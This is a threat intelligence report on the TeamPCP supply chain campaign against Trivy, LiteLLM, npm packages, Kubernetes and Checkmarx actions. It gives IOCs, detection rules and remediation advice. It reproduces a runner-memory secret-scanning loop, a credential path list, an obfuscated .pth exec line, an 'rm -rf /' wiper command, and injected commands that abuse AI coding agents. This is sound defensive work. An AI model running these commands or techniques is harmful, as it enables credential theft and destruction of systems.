Threat ID: TL-2026-0280 | CVE: CVE-2026-33634 | CVSS: 9.4 | Severity: CRITICAL | Status: ACTIVE
Actor: TeamPCP (aliases: DeadCatx3, PCPcat, ShellForce, CanisterWorm) | Motivation: DESTRUCTION
MITRE Techniques: 29 | Detections: 81+ across 8 threat reports | Ecosystems Compromised: 5 (GitHub Actions, npm, PyPI, Docker Hub, OpenVSX)
Between March 19 and March 24, 2026, a threat actor collective operating under the name TeamPCP executed the most consequential supply chain campaign of the year. Five software ecosystems were breached. Aqua Security's Trivy vulnerability scanner -- used across thousands of CI/CD pipelines worldwide -- was the entry point. From there, the campaign expanded to LiteLLM on PyPI, 66 npm packages via a self-propagating worm, Kubernetes clusters via destructive DaemonSets, and Checkmarx KICS GitHub Actions. The attack chain introduced a novel command-and-control mechanism built on the Internet Computer Protocol blockchain, a technique with no prior documented precedent.
This report consolidates intelligence from TL-2026-0280, TL-2026-0279, TL-2026-0270, TL-2026-0263, TL-2026-0256, and TL-2026-0165 into a single deep technical analysis of the full campaign lifecycle.
Executive Summary
- What: A coordinated five-day supply chain siege targeting Trivy, LiteLLM, 66+ npm packages, Kubernetes clusters, and Checkmarx KICS -- credential-stealing malware injected into CI/CD pipelines via compromised GitHub Actions tags, Docker Hub images, and package registries
- Who: TeamPCP (DeadCatx3, PCPcat, ShellForce), building on access residual from the hackerbot-claw VS Code extension compromise 19 days earlier
- Impact: Thousands of CI/CD pipelines pulled poisoned code. Every pipeline that referenced trivy-action or setup-trivy by mutable version tag executed the credential stealer. AES-256-CBC/RSA-4096 hybrid encryption protected exfiltrated secrets in transit
- Novel Tradecraft: First documented abuse of ICP (Internet Computer Protocol) blockchain canisters as C2 dead drop resolvers; self-propagating npm worm (CanisterWorm) using stolen publisher tokens; Python
.pthfile persistence in LiteLLM - Detection: 81+ production-ready detection rules available across 8 threat reports on Threadlinqs Intelligence
The Genesis -- From hackerbot-claw to TeamPCP
The campaign did not begin on March 19. It began on February 28, when an automated bot named hackerbot-claw (TL-2026-0165) exploited a misconfigured pull_request_target workflow in the Trivy GitHub repository. The workflow granted fork pull requests access to repository secrets -- a well-documented anti-pattern that hackerbot-claw systematically scanned for across thousands of repositories. The bot extracted a privileged Personal Access Token (PAT) belonging to the Argon-DevOps-Mgt service account (GitHub ID 139343333), an automation credential that bridged two Aqua Security GitHub organizations.
Aqua Security's response to the initial compromise included publishing malicious VS Code extension versions 1.8.12 and 1.8.13 to the OpenVSX registry, which contained injected commands targeting AI coding assistants -- claude -p --dangerously-skip-permissions, codex exec --ask-for-approval never -- and exfiltrating tokens to recv.hackmoltrepeat.com. A former Aqua employee revoked the publishing token and removed affected versions by 22:46 UTC on February 28. Aqua then began credential rotation.
The rotation was incomplete. The Argon-DevOps-Mgt PAT was rotated, but the rotation was non-atomic -- during the multi-day rotation window, TeamPCP was able to exfiltrate the newly rotated credentials before the process completed. This is the operational security failure that enabled everything that followed. Nineteen days of residual access, undetected. The new credentials were valid. The old ones were revoked. But TeamPCP already had the new ones.
Day-by-Day Campaign Timeline
pull_request_target workflows. Between Feb 25-28, it targets DataDog, Microsoft, and Aqua Security repositories. The Trivy VS Code extension is compromised on OpenVSX. Aqua Security begins credential rotation that will prove fatally incomplete. PAT for Argon-DevOps-Mgt service account is extracted.
aquasecurity/trivy-action and all 7 tags in aquasecurity/setup-trivy. Only trivy-action v0.35.0 survives due to GitHub's immutable releases protection. Simultaneously, Trivy v0.69.4 is published with embedded credential-stealing binaries across all platform targets (Linux, Windows, macOS, FreeBSD, ARM). The malicious commit injects --skip=validate into the goreleaser configuration to bypass binary validation. By 18:30 UTC, a malicious helm chart bump PR #10416 is opened against the Trivy repository. Socket.dev detects 182 malicious threat feed entries at approximately 19:15 UTC. Aqua maintainers begin cleanup: setup-trivy v0.2.5 deleted at 21:07 UTC, malicious v0.69.4 tag deleted at 23:13 UTC.
@EmilGroup and @teale.io scopes. The worm publishes malicious versions containing Python implants with systemd persistence mechanisms.
aquasec/trivy:0.69.5 and aquasec/trivy:0.69.6 published at 16:00 UTC -- versions with no corresponding GitHub releases. CanisterWorm expands to 47+ packages across @opengov, @airtm, and @pypestream scopes. At 20:31 UTC, all 44 repositories in the aquasec-com GitHub organization are defaced in an automated 2-minute blitz (20:31:07-20:32:26 UTC), renamed with tpcp-docs- prefix. The ICP canister tdtqy-oyaaa-aaaae-af2dq-cai is marked "Unavailable Due to Policy Violation" at 21:31 UTC.
host-provisioner-iran executes rm -rf / --no-preserve-root inside privileged containers. Checkmarx KICS GitHub Action (kics-github-action v1.1, ast-github-action v2.3.28) compromised via tag hijacking. Campaign expands to OpenVSX extensions.
1.82.7 and 1.82.8 published to PyPI at approximately 08:30 UTC with credential-stealing payloads. v1.82.7 uses double base64-encoded Python; v1.82.8 introduces .pth file persistence. PyPI quarantines both versions at 11:25 UTC -- approximately 3 hours of exposure. New exfiltration endpoint models.litellm.cloud identified. Full campaign scope assessed: 5 ecosystems, 141+ malicious npm artifacts, 66+ compromised packages. Datadog Security Labs, Wiz, Snyk, and Microsoft publish detailed analyses.
Technical Deep Dive -- The Malicious entrypoint.sh
The core of the Trivy compromise was a replacement entrypoint.sh injected into trivy-action. The legitimate file was 2,855 bytes. The malicious replacement was 17,592 bytes -- 204 lines of credential-harvesting code disguised within cosmetic changes (quote standardization, whitespace normalization) to the original script.
SHA-256 hashes for forensic comparison:
| File | SHA-256 | Size |
|---|---|---|
| Legitimate entrypoint.sh | 07500e81693c06ef7ac6bf210cff9c882bcc11db5f16b5bded161218353ba4da | 2,855 bytes |
| Malicious entrypoint.sh | 18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | 17,592 bytes |
Stage 1 -- Runner Memory Scanning
On GitHub-hosted runners, the malware exploits Linux's /proc filesystem to scan process memory of the Runner.Worker process. This process holds all workflow secrets in memory -- including those marked with isSecret:true in the GitHub Actions runner. The technique:
BASH# Enumerate GitHub Actions runner processes
for pid in /proc/[0-9]*; do
cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ')
if echo "$cmdline" | grep -q "Runner.Worker"; then
# Read process memory regions from /proc/$pid/mem
# Parse for isSecret:true flagged values
cat "$pid/mem" 2>/dev/null | strings | grep -E "(GITHUB_TOKEN|AWS_|AZURE_|GCP_)"
fi
done
This is not theoretical. The Runner.Worker process stores all injected secrets in a flat memory structure that can be read by any process running as the same user -- which includes every step in a GitHub Actions workflow. The isSecret:true flag is a UI-level masking mechanism, not a security boundary.
Stage 2 -- Credential File Enumeration
The malware enumerates 50+ credential file paths across the filesystem, targeting every major cloud provider and development tool:
~/.ssh/id_rsa,~/.ssh/id_ed25519,~/.ssh/authorized_keys-- SSH keys~/.aws/credentials,~/.aws/config-- AWS credentials~/.kube/config-- Kubernetes cluster access~/.docker/config.json-- Docker registry authenticationterraform.tfstate,terraform.tfvars-- Terraform infrastructure secrets~/.npmrc-- npm publish tokens (enabling CanisterWorm propagation)~/.pypirc-- PyPI publish tokens (enabling LiteLLM compromise)~/.gnupg/-- GPG signing keys~/.config/gcloud/-- GCP credentials~/.azure/-- Azure credentials~/.vault-token-- HashiCorp Vault tokens- Cryptocurrency wallet files, browser credential stores, CI/CD platform tokens
Stage 3 -- Encryption and Exfiltration
Harvested credentials are bundled into a tpcp.tar.gz archive, encrypted with AES-256-CBC, and the AES key itself is encrypted with RSA-4096 -- a hybrid encryption scheme that ensures only TeamPCP can decrypt the exfiltrated data, even if the archive is intercepted in transit. The encrypted bundle is exfiltrated via HTTPS POST to scan.aquasecurtiy.org (note the deliberate typosquat of "security") with a custom X-Filename: tpcp.tar.gz header. If the primary C2 is unreachable, the malware falls back to creating a public GitHub repository named tpcp-docs on the victim's account and uploading the archive as a release asset.
Novel C2 -- ICP Blockchain Dead Drops
TeamPCP's campaign introduced the first documented abuse of Internet Computer Protocol (ICP) canisters as a command-and-control dead drop resolver. This represents a significant evolution in C2 architecture -- one that existing network security tooling is not equipped to detect.
ICP is a blockchain-based computing platform where "canisters" (smart contracts) can host arbitrary data and logic on a decentralized network. TeamPCP deployed canister tdtqy-oyaaa-aaaae-af2dq-cai on the IC mainnet, accessible via tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io. The canister exposes two methods:
get_latest_link-- Returns the current C2 endpoint URLupdate_link-- Allows TeamPCP to rotate the C2 endpoint
The infected payload polls the canister every 50 minutes, retrieving the latest C2 URL. This architecture provides several advantages to the attacker:
- Takedown resistance: Blockchain state cannot be unilaterally modified by any single authority. The canister persists until the ICP governance system acts
- Domain agility: The actual C2 endpoint can be rotated without modifying the malware payload
- Attribution difficulty: ICP canister deployment requires ICP tokens but no identity verification
- Detection evasion: Traffic to
icp0.ioandic0.appdomains appears as legitimate Web3/blockchain activity
When the ICP canister was marked "Unavailable Due to Policy Violation" at 21:31 UTC on March 22, the malware fell back to Cloudflare tunnel endpoints -- four distinct tunnels were identified:
| Cloudflare Tunnel Domain | Purpose |
|---|---|
plug-tab-protective-relay.trycloudflare.com | Primary C2 fallback |
championships-peoples-point-cassette.trycloudflare.com | Kubernetes wiper C2 |
investigation-launches-hearings-copying.trycloudflare.com | Kubernetes wiper C2 |
souls-entire-defined-routes.trycloudflare.com | Kubernetes wiper C2 |
The Self-Propagating npm Worm -- CanisterWorm
CanisterWorm is a self-propagating malware component that leverages stolen npm publisher tokens harvested from CI/CD environments to automatically publish malicious versions of legitimate packages. The name derives from its ICP canister-based C2 polling mechanism.
The worm's propagation model: when the Trivy credential stealer runs in a CI/CD pipeline that builds npm packages, it harvests the .npmrc authentication token. CanisterWorm then uses that token to publish a new patch version of every package the compromised publisher maintains. The malicious version contains a Python implant that:
- Drops
~/.config/sysmon/sysmon.py-- a persistence loader masquerading as a system monitoring tool - Creates
~/.config/systemd/user/sysmon.service-- a systemd user service that runs the loader on boot - Runs
systemctl --user enable sysmon.servicefor persistence - Downloads the follow-on payload from
checkmarx.zoneto/tmp/pglog, named to appear as a PostgreSQL log file - Maintains state tracking via
/tmp/.pg_state
The campaign ultimately compromised 66+ packages across five npm scopes: @EmilGroup, @teale.io, @opengov, @airtm, and @pypestream. Socket.dev classified 141+ malicious artifacts total. The worm represents a force multiplier -- each compromised CI/CD pipeline becomes a propagation vector for additional package compromises.
LiteLLM .pth Persistence
The LiteLLM compromise on PyPI (v1.82.7 and v1.82.8) introduced a persistence technique specific to the Python ecosystem: .pth file injection.
Python's .pth files in site-packages directories are processed at interpreter startup. Any line beginning with import is executed as Python code. Version 1.82.8 dropped a file named litellm_init.pth into the site-packages directory containing:
PYTHONimport os; exec(os.popen('python3 -c "exec(__import__(\'base64\').b64decode(__import__(\'base64\').b64decode(b\'...payload...\')))"').read())
The payload is double base64-encoded -- decoding the outer layer reveals another base64 blob, which when decoded produces the credential harvester. This means the malicious code executes every time Python starts on a system where the compromised LiteLLM is installed -- not just when LiteLLM is explicitly imported. The v1.82.7 variant used a simpler approach: injecting a decoded p.py dropper directly into LiteLLM's package initialization.
Exfiltration used the same AES-256-CBC/RSA-4096 hybrid encryption scheme, with a new endpoint at models.litellm.cloud replacing the typosquatted Aqua Security domain. PyPI quarantined both versions approximately 3 hours after publication -- a window sufficient for automated pip installations in CI/CD to pull the poisoned packages.
Kubernetes Wipers
The most destructive phase of the campaign targeted Kubernetes clusters. Two distinct DaemonSet payloads were identified:
host-provisioner-iran -- Targeted Destruction
This DaemonSet was configured with geographic targeting. When deployed to clusters with Iranian locale indicators, the privileged container executes:
BASHrm -rf / --no-preserve-root
The DaemonSet specification requests privileged: true, hostPID: true, and hostNetwork: true -- granting full access to the underlying host filesystem, process namespace, and network stack. The "kamikaze" container destroys itself along with the host. Nation-state targeting in a supply chain worm is unusual and raises questions about TeamPCP's motivations beyond simple destruction.
host-provisioner-std -- Persistent Backdoor
The standard variant deploys across all clusters without geographic filtering. Rather than destruction, it establishes persistent access by:
- Deploying privileged pods with naming pattern
node-setup-* - Mounting the host filesystem at
/host - Installing a reverse shell that polls Cloudflare tunnel endpoints every 5 minutes
- Spreading to other clusters via harvested kubeconfig files
Both DaemonSets exploit the same privilege escalation path: Kubernetes clusters that allow privileged pod deployment without admission controller enforcement. A Pod Security Standard of "restricted" or a properly configured OPA Gatekeeper policy would have blocked both payloads.
Indicators of Compromise
Network Indicators
| Type | Indicator | Context |
|---|---|---|
| Domain | scan.aquasecurtiy.org | Primary exfiltration -- typosquat of Aqua Security |
| Domain | aquasecurtiy.org | Typosquatted parent domain |
| Domain | tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io | ICP blockchain C2 dead drop resolver |
| Domain | plug-tab-protective-relay.trycloudflare.com | Cloudflare tunnel C2 fallback |
| Domain | championships-peoples-point-cassette.trycloudflare.com | Kubernetes wiper C2 tunnel |
| Domain | investigation-launches-hearings-copying.trycloudflare.com | Kubernetes wiper C2 tunnel |
| Domain | souls-entire-defined-routes.trycloudflare.com | Kubernetes wiper C2 tunnel |
| Domain | models.litellm.cloud | LiteLLM exfiltration endpoint (added March 24) |
| Domain | checkmarx.zone | Follow-on payload delivery for CanisterWorm |
| Domain | hackmoltrepeat.com | hackerbot-claw payload delivery (precursor) |
| Domain | recv.hackmoltrepeat.com | Token exfiltration receiver (precursor) |
| Domain | get.trivy.dev | Official Trivy distribution -- served malicious v0.69.4 |
| IP | 45.148.10.212 | C2 server -- TECHOFF SRV LIMITED, Amsterdam, NL |
File Indicators
| Type | SHA-256 | Description |
|---|---|---|
| entrypoint.sh | 18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Malicious trivy-action entrypoint (17,592 bytes) |
| entrypoint.sh | 07500e81693c06ef7ac6bf210cff9c882bcc11db5f16b5bded161218353ba4da | Legitimate entrypoint (2,855 bytes) -- for diff comparison |
| Trivy Linux-64 | 822dd269ec10459572dfaaefe163dae693c344249a0161953f0d5cdd110bd2a0 | Malicious v0.69.4 binary -- Linux 64-bit |
| Trivy Linux-ARM64 | e64e152afe2c722d750f10259626f357cdea40420c5eedab37969fbf13abbecf | Malicious v0.69.4 binary -- Linux ARM64 |
| Trivy Linux-ARM | bef7e2c5a92c4fa4af17791efc1e46311c0f304796f1172fce192f5efc40f5d7 | Malicious v0.69.4 binary -- Linux ARM |
| Trivy Linux-32 | f7084b0229dce605ccc5506b14acd4d954a496da4b6134a294844ca8d601970d | Malicious v0.69.4 binary -- Linux 32-bit |
| Trivy macOS-64 | e6310d8a003d7ac101a6b1cd39ff6c6a88ee454b767c1bdce143e04bc1113243 | Malicious v0.69.4 binary -- macOS 64-bit |
| Trivy macOS-ARM | 6328a34b26a63423b555a61f89a6a0525a534e9c88584c815d937910f1ddd538 | Malicious v0.69.4 binary -- macOS ARM64 |
| Trivy FreeBSD | 887e1f5b5b50162a60bd03b66269e0ae545d0aef0583c1c5b00972152ad7e073 | Malicious v0.69.4 binary -- FreeBSD 64-bit |
| Trivy Windows | 0880819ef821cff918960a39c1c1aada55a5593c61c608ea9215da858a86e349 | Malicious v0.69.4 binary -- Windows 64-bit |
Affected Packages and Images
| Ecosystem | Package/Image | Versions |
|---|---|---|
| GitHub Actions | aquasecurity/trivy-action | 75 of 76 tags (all except v0.35.0) |
| GitHub Actions | aquasecurity/setup-trivy | All 7 tags |
| GitHub Actions | checkmarx/kics-github-action | v1.1 |
| GitHub Actions | checkmarx/ast-github-action | v2.3.28 |
| Docker Hub | aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
| GHCR | ghcr.io/aquasecurity/trivy | 0.69.4 |
| AWS ECR | public.ecr.aws/aquasecurity/trivy | 0.69.4 |
| PyPI | litellm | 1.82.7, 1.82.8 |
| npm | 66+ packages across 5 scopes | Various patch versions |
| OpenVSX | aquasecurityofficial.trivy-vulnerability-scanner | 1.8.12, 1.8.13 |
Behavioral Indicators
Runner.Workerprocess memory access via/proc/<pid>/mem-- GitHub Actions secret extractiontpcp.tar.gzarchive creation withX-FilenameHTTP header in exfiltration requeststpcp-docsrepository creation on victim GitHub accounts -- fallback exfiltration dead droppgmon/PgMonitorscheduled task or systemd service -- persistence masquerading as PostgreSQL monitoring~/.config/sysmon.pyPython loader withsysmon.servicesystemd persistence/tmp/pglogbinary dropped fromcheckmarx.zone- Kubernetes DaemonSets with
privileged: true+hostPID: true+hostNetwork: true litellm_init.pthfile in Python site-packages directory- GitHub commit SHAs:
e0198fd2b6e1679e36d32933941182d9afa82f6f,ddb9da4475c1cef7d5389062bdfdfbdbd1394648,8afa9b9f9183b4e00c46e2b82d34047e3c177bd0
Detection Rules
Threadlinqs Intelligence provides 81+ production-ready detection rules across 8 threat reports tracking this campaign. Below are three representative rules targeting the most distinctive tradecraft elements.
Splunk SPL -- GitHub Actions Runner Memory Scanning
This rule detects the core credential harvesting technique: processes reading /proc/<pid>/mem of GitHub Actions Runner.Worker processes. This is the highest-signal indicator of the Trivy compromise -- legitimate processes do not read runner memory.
SPLindex=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
(EventCode=1 OR EventCode=10)
| search (CommandLine="*cat /proc/*/environ*"
OR CommandLine="*/proc/*/mem*"
OR CommandLine="*Runner.Worker*"
OR CommandLine="*Runner.Listener*"
OR CommandLine="*runsvc*")
| where match(CommandLine,
"(?i)(proc/.*/environ|proc/.*/mem|Runner\.Worker|Runner\.Listener|runsvc)")
| eval risk_score=case(
match(CommandLine, "proc/.*/mem"), 95,
match(CommandLine, "proc/.*/environ"), 90,
1=1, 80
)
| stats count min(_time) as first_seen max(_time) as last_seen
values(CommandLine) as commands dc(ComputerName) as host_count
by User, ParentImage
| where risk_score > 80
| sort -risk_score
KQL -- Python .pth File Injection Detection
Detects the LiteLLM persistence mechanism where a malicious .pth file is written to Python's site-packages directory. Legitimate .pth files are created during package installation, not dynamically at runtime. The presence of exec( or os.popen in a .pth file is definitively malicious.
KQLDeviceFileEvents
| where Timestamp > ago(30d)
| where FileName endswith ".pth"
| where FolderPath has "site-packages"
| where ActionType in ("FileCreated", "FileModified")
| where InitiatingProcessFileName !in ("pip", "pip3", "python", "python3",
"conda", "poetry", "pipx", "setup.py")
| join kind=leftouter (
DeviceFileEvents
| where FileName endswith ".pth"
| where FolderPath has "site-packages"
| extend FileContentSample = tostring(parse_json(AdditionalFields).FileContent)
| where FileContentSample has_any ("exec(", "os.popen", "subprocess",
"base64.b64decode", "__import__")
) on DeviceId, FileName
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
Sigma -- ICP Canister C2 Communication
Detects outbound connections to ICP blockchain infrastructure used as C2 dead drop resolvers. While ICP traffic may have legitimate uses, connections to icp0.io or ic0.app from CI/CD runners or server infrastructure should be treated as anomalous.
SIGMAtitle: ICP Blockchain Canister C2 Communication — TeamPCP Campaign
id: f8c2a1b7-3d9e-4f5a-b6c8-7e2d1a9f3c45
status: experimental
description: |
Detects outbound connections to Internet Computer Protocol (ICP)
blockchain infrastructure. TeamPCP campaign used canister
tdtqy-oyaaa-aaaae-af2dq-cai as a dead drop C2 resolver.
First documented abuse of ICP for command-and-control.
references:
- https://intel.threadlinqs.com/#TL-2026-0280
- https://intel.threadlinqs.com/#TL-2026-0279
author: Threadlinqs Intel Team
date: 2026/03/25
tags:
- attack.command_and_control
- attack.t1102
- attack.t1071.001
- attack.t1573
logsource:
category: proxy_access
product: any
detection:
selection_icp_domains:
c-uri|contains:
- 'icp0.io'
- 'ic0.app'
- 'raw.icp0.io'
selection_known_canister:
c-uri|contains:
- 'tdtqy-oyaaa-aaaae-af2dq-cai'
selection_canister_methods:
c-uri|contains:
- 'get_latest_link'
- 'update_link'
condition: selection_known_canister or selection_canister_methods
or (selection_icp_domains and not filter)
filter:
c-useragent|contains:
- 'dfx'
- 'ic-agent'
falsepositives:
- Developers working with ICP/DFINITY ecosystem
- Web3 applications with legitimate ICP integration
level: high
Browse all 81+ detection rules across 8 related threat reports: View on Threadlinqs Intelligence
MITRE ATT&CK Mapping
| Tactic | Technique | ID | Campaign Usage |
|---|---|---|---|
| Initial Access | Supply Chain Compromise: Compromise Software Dependencies | T1195.001 | Trivy, LiteLLM, npm packages, KICS Actions poisoned at source |
| Initial Access | Supply Chain Compromise: Compromise Software Supply Chain | T1195.002 | Docker Hub images, binary releases, GitHub Actions tags |
| Initial Access | Trusted Relationship | T1199 | Argon-DevOps-Mgt service account bridging two Aqua orgs |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | Malicious entrypoint.sh executed by GitHub Actions runners |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | Python .pth persistence, sysmon.py loader, base64 payloads |
| Execution | Serverless Execution | T1648 | ICP canister code execution for C2 dead drop |
| Persistence | Create or Modify System Process: Systemd Service | T1543.002 | sysmon.service and pgmon systemd persistence |
| Persistence | Boot or Logon Autostart Execution | T1547 | Python .pth file executed on every interpreter startup |
| Persistence | Event Triggered Execution: .pth File | T1546 | litellm_init.pth in site-packages |
| Privilege Escalation | Escape to Host | T1611 | Privileged Kubernetes pods with hostPID/hostNetwork |
| Privilege Escalation | Valid Accounts: Cloud Accounts | T1078.004 | Stolen PAT, npm tokens, PyPI tokens, Docker registry auth |
| Defense Evasion | Obfuscated Files or Information | T1027 | Double base64 encoding, AES-256-CBC encryption of payloads |
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | pgmon (PostgreSQL), sysmon.py (Sysmon), node-setup-* pods |
| Defense Evasion | Indicator Removal | T1070 | Force-pushed tags with spoofed commit metadata |
| Defense Evasion | Subvert Trust Controls | T1553 | --skip=validate bypassing goreleaser binary validation |
| Credential Access | Unsecured Credentials: Credentials in Files | T1552.001 | 50+ credential file paths enumerated |
| Credential Access | Steal Application Access Token | T1528 | GitHub PATs, npm publish tokens, PyPI tokens |
| Credential Access | Credentials from Password Stores | T1555 | Browser credential stores, Docker config.json auth |
| Credential Access | Input Capture | T1056 | /proc/pid/mem scanning for runtime secrets |
| Discovery | System Information Discovery | T1082 | Hostname, username, IP, environment variable harvesting |
| Discovery | Process Discovery | T1057 | Enumeration of Runner.Worker PID for memory access |
| Collection | Data from Local System | T1005 | Credential files, SSH keys, cloud configs, Terraform state |
| Collection | Automated Collection | T1119 | Scripted enumeration of 50+ file paths per host |
| Collection | Archive Collected Data | T1560 | tpcp.tar.gz bundle creation |
| Lateral Movement | Remote Services | T1021 | SSH with stolen keys, Docker API exploitation (port 2375) |
| Lateral Movement | Deploy Container | T1610 | Privileged DaemonSet deployment across Kubernetes nodes |
| Command and Control | Web Service: Dead Drop Resolver | T1102.001 | ICP canister as C2 URL resolver |
| Command and Control | Encrypted Channel | T1573 | AES-256-CBC + RSA-4096 hybrid encryption |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | tpcp.tar.gz to scan.aquasecurtiy.org |
| Exfiltration | Exfiltration Over Web Service | T1567 | GitHub release assets as fallback dead drop |
| Impact | Data Destruction | T1485 | rm -rf / in host-provisioner-iran DaemonSet |
| Impact | Defacement: External Defacement | T1491.002 | 44 aquasec-com repositories renamed with tpcp-docs- prefix |
| Resource Development | Acquire Infrastructure | T1583 | ICP canister, Cloudflare tunnels, typosquatted domains |
| Resource Development | Compromise Infrastructure | T1584 | Compromised npm publisher accounts for worm propagation |
Full MITRE ATT&CK mapping with technique-level detail: View coverage on Threadlinqs
Recommendations
- Pin GitHub Actions to immutable commit SHAs. The entire Trivy tag-poisoning attack is defeated by a single practice: referencing Actions by full commit SHA (
uses: aquasecurity/trivy-action@abc123def) rather than mutable version tags (uses: aquasecurity/trivy-action@v1). Mutable tags are pointers that can be force-pushed to arbitrary commits. Commit SHAs cannot. This is the highest-impact remediation for any organization running CI/CD on GitHub. - Audit all CI/CD pipelines for Trivy, LiteLLM, KICS, and affected npm packages. Check GitHub Actions workflow files for any reference to trivy-action, setup-trivy, kics-github-action, or ast-github-action. Verify Docker images are not pinned to 0.69.4, 0.69.5, or 0.69.6. Confirm LiteLLM is not installed at versions 1.82.7 or 1.82.8. Scan node_modules for packages from @EmilGroup, @teale.io, @opengov, @airtm, and @pypestream scopes.
- Rotate all credentials that were accessible to compromised pipelines. Any secret that was available to a GitHub Actions workflow using trivy-action or setup-trivy between March 19-20 should be considered compromised. This includes cloud provider credentials, SSH keys, Docker registry tokens, npm publish tokens, Terraform state secrets, and Kubernetes cluster credentials. Rotation must be atomic -- complete all rotations before revoking old credentials.
- Block ICP blockchain domains at the network perimeter. Add
icp0.io,ic0.app, andraw.icp0.ioto proxy deny lists for CI/CD runner networks and server infrastructure. Legitimate ICP development should be explicitly allowlisted by team and project. Monitor for connections to anytrycloudflare.comsubdomain from non-interactive systems. - Implement Kubernetes admission controllers. Deploy Pod Security Standards at the "restricted" level or OPA Gatekeeper policies that deny
privileged: true,hostPID: true, andhostNetwork: truecontainers. Both TeamPCP wiper variants require all three privileges to execute their payloads. Audit existing DaemonSets for unexpected privileged containers. - Scan Python environments for .pth file injection. Enumerate all
.pthfiles in site-packages directories across development machines, CI/CD runners, and production servers. Any.pthfile containingexec(,os.popen,subprocess, orbase64.b64decodeis definitively malicious. Legitimate.pthfiles contain only directory paths orimportstatements for standard packages. - Deploy supply chain security tooling with real-time alerting. Tools like Socket.dev, Snyk, StepSecurity Harden-Runner, and Datadog Software Composition Analysis detected aspects of this campaign within hours. Integrate at least one supply chain monitoring solution into CI/CD pipelines with blocking enabled for known-malicious packages. Configure alerts for unexpected version publications of internal packages.
Related Threat Reports
| ID | Title | Date |
|---|---|---|
| TL-2026-0165 | Aqua Trivy VS Code Extension Supply Chain Compromise -- hackerbot-claw AI Bot Campaign | 2026-03-02 |
| TL-2026-0256 | Trivy Supply Chain Compromise by TeamPCP -- Credential-Stealing Malware in v0.69.4 | 2026-03-20 |
| TL-2026-0259 | CanisterWorm npm Supply Chain Compromise -- Worm-Enabled Backdoor Across 29+ Packages | 2026-03-20 |
| TL-2026-0263 | Trivy Ecosystem Supply Chain Compromise -- Infostealer via Hijacked GitHub Actions | 2026-03-21 |
| TL-2026-0270 | Trivy Supply Chain Attack -- Credential Theft via Malicious GitHub Actions Tags | 2026-03-22 |
| TL-2026-0274 | Checkmarx KICS GitHub Action Supply Chain Compromise by TeamPCP | 2026-03-23 |
| TL-2026-0279 | TeamPCP Supply Chain Campaign: LiteLLM, CanisterWorm, and Multi-Ecosystem Attack | 2026-03-24 |
| TL-2026-0281 | TeamPCP Supply Chain Attack on LiteLLM -- Trojanized PyPI Packages with .pth Persistence | 2026-03-25 |
References
- Aqua Security -- Trivy GitHub Action Supply Chain Attack Disclosure -- Aqua Security, March 2026
- CrowdStrike -- Analysis of Trivy Supply Chain Compromise -- CrowdStrike, March 2026
- Wiz -- Trivy Supply Chain Attack: What You Need to Know -- Wiz, March 2026
- Socket Security -- 182 Malicious GitHub Actions Threat Feed Entries Detected -- Socket.dev, March 2026
- StepSecurity -- hackerbot-claw Campaign Analysis -- StepSecurity, March 2026
- Datadog Security Labs -- TeamPCP Multi-Ecosystem Supply Chain Campaign -- Datadog, March 2026
- Snyk -- TeamPCP LiteLLM and npm Supply Chain Analysis -- Snyk, March 2026
- Flare -- TeamPCP Cloud-Native Worm Campaign Threat Profile -- Flare, February 2026
- GitHub -- aquasecurity/trivy-action Discussion #10420 -- Community disclosure thread
- NVD -- CVE-2026-33634 -- CVSS 9.4 Critical
Full threat intelligence, detection rules, IOC feeds, and simulation playbooks are available on Threadlinqs Intelligence. Track this campaign across all 8 related threat reports: TL-2026-0280.